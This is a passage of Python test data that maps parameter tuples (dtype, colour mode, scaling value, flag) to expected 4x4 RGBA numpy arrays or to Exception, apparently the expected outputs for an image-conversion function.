[[173, 173, 173, 255], [48, 48, 48, 255], [122, 122, 122, 255], [41, 41, 41, 255]],
[[210, 210, 210, 255], [192, 192, 192, 255], [0, 0, 0, 255], [5, 5, 5, 255]],
[[104, 104, 104, 255], [56, 56, 56, 255], [102, 102, 102, 255], [115, 115, 115, 255]],
[[78, 78, 78, 255], [19, 19, 19, 255], [255, 255, 255, 255], [6, 6, 6, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, None, None, False): np.array(
[
[[173, 173, 173, 255], [48, 48, 48, 255], [122, 122, 122, 255], [41, 41, 41, 255]],
[[210, 210, 210, 255], [192, 192, 192, 255], [0, 0, 0, 255], [5, 5, 5, 255]],
[[104, 104, 104, 255], [56, 56, 56, 255], [102, 102, 102, 255], [115, 115, 115, 255]],
[[78, 78, 78, 255], [19, 19, 19, 255], [255, 255, 255, 255], [6, 6, 6, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, None, 232, True): np.array(
[
[[157, 157, 157, 255], [43, 43, 43, 255], [110, 110, 110, 255], [37, 37, 37, 255]],
[[191, 191, 191, 255], [174, 174, 174, 255], [0, 0, 0, 255], [4, 4, 4, 255]],
[[94, 94, 94, 255], [50, 50, 50, 255], [92, 92, 92, 255], [104, 104, 104, 255]],
[[70, 70, 70, 255], [17, 17, 17, 255], [232, 232, 232, 255], [5, 5, 5, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, None, 232, False): np.array(
[
[[157, 157, 157, 255], [43, 43, 43, 255], [110, 110, 110, 255], [37, 37, 37, 255]],
[[191, 191, 191, 255], [174, 174, 174, 255], [0, 0, 0, 255], [4, 4, 4, 255]],
[[94, 94, 94, 255], [50, 50, 50, 255], [92, 92, 92, 255], [104, 104, 104, 255]],
[[70, 70, 70, 255], [17, 17, 17, 255], [232, 232, 232, 255], [5, 5, 5, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint8, None, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint8, None, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint8, 232, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint8, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint16, 13333, True): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", None, np.uint16, 13333, False): np.array(
[
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", None, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", None, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", None, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", None, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGB", None, None, True): Exception,
(np.uint8, "2D", "RGB", None, None, False): Exception,
(np.uint8, "2D", "RGB", None, 232, True): Exception,
(np.uint8, "2D", "RGB", None, 232, False): Exception,
(np.uint8, "2D", "RGB", None, 13333, True): Exception,
(np.uint8, "2D", "RGB", None, 13333, False): Exception,
(np.uint8, "2D", "RGB", np.uint8, None, True): Exception,
(np.uint8, "2D", "RGB", np.uint8, None, False): Exception,
(np.uint8, "2D", "RGB", np.uint8, 232, True): Exception,
(np.uint8, "2D", "RGB", np.uint8, 232, False): Exception,
(np.uint8, "2D", "RGB", np.uint8, 13333, True): Exception,
(np.uint8, "2D", "RGB", np.uint8, 13333, False): Exception,
(np.uint8, "2D", "RGB", np.uint16, None, True): Exception,
(np.uint8, "2D", "RGB", np.uint16, None, False): Exception,
(np.uint8, "2D", "RGB", np.uint16, 232, True): Exception,
(np.uint8, "2D", "RGB", np.uint16, 232, False): Exception,
(np.uint8, "2D", "RGB", np.uint16, 13333, True): Exception,
(np.uint8, "2D", "RGB", np.uint16, 13333, False): Exception,
(np.uint8, "2D", "RGBA", None, None, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [122, 122, 122, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [2, 2, 2, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [102, 102, 102, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", None, None, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [122, 122, 122, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [2, 2, 2, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [102, 102, 102, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", None, 232, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [110, 110, 110, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [2, 2, 2, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [92, 92, 92, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [232, 232, 232, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", None, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [110, 110, 110, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [2, 2, 2, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [92, 92, 92, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [232, 232, 232, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", None, 13333, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [123, 123, 123, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", None, 13333, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [123, 123, 123, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint16, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint16, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint16, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint16, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint16, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "2D", "RGBA", np.uint16, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, None, None, True): np.array(
[
[[16, 69, 62, 255], [66, 132, 135, 255], [220, 80, 36, 255], [53, 34, 68, 255]],
[[140, 23, 113, 255], [0, 63, 206, 255], [96, 255, 100, 255], [226, 182, 155, 255]],
[[28, 237, 223, 255], [215, 232, 209, 255], [17, 16, 50, 255], [96, 187, 93, 255]],
[[220, 193, 232, 255], [134, 168, 150, 255], [55, 64, 221, 255], [96, 108, 227, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, None, None, False): np.array(
[
[[62, 69, 16, 255], [135, 132, 66, 255], [36, 80, 220, 255], [68, 34, 53, 255]],
[[113, 23, 140, 255], [206, 63, 0, 255], [100, 255, 96, 255], [155, 182, 226, 255]],
[[223, 237, 28, 255], [209, 232, 215, 255], [50, 16, 17, 255], [93, 187, 96, 255]],
[[232, 193, 220, 255], [150, 168, 134, 255], [221, 64, 55, 255], [227, 108, 96, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, None, 232, True): np.array(
[
[[14, 62, 56, 255], [60, 120, 122, 255], [200, 72, 32, 255], [48, 30, 61, 255]],
[[127, 20, 102, 255], [0, 57, 187, 255], [87, 232, 90, 255], [205, 165, 141, 255]],
[[25, 215, 202, 255], [195, 211, 190, 255], [15, 14, 45, 255], [87, 170, 84, 255]],
[[200, 175, 211, 255], [121, 152, 136, 255], [50, 58, 201, 255], [87, 98, 206, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, None, 232, False): np.array(
[
[[56, 62, 14, 255], [122, 120, 60, 255], [32, 72, 200, 255], [61, 30, 48, 255]],
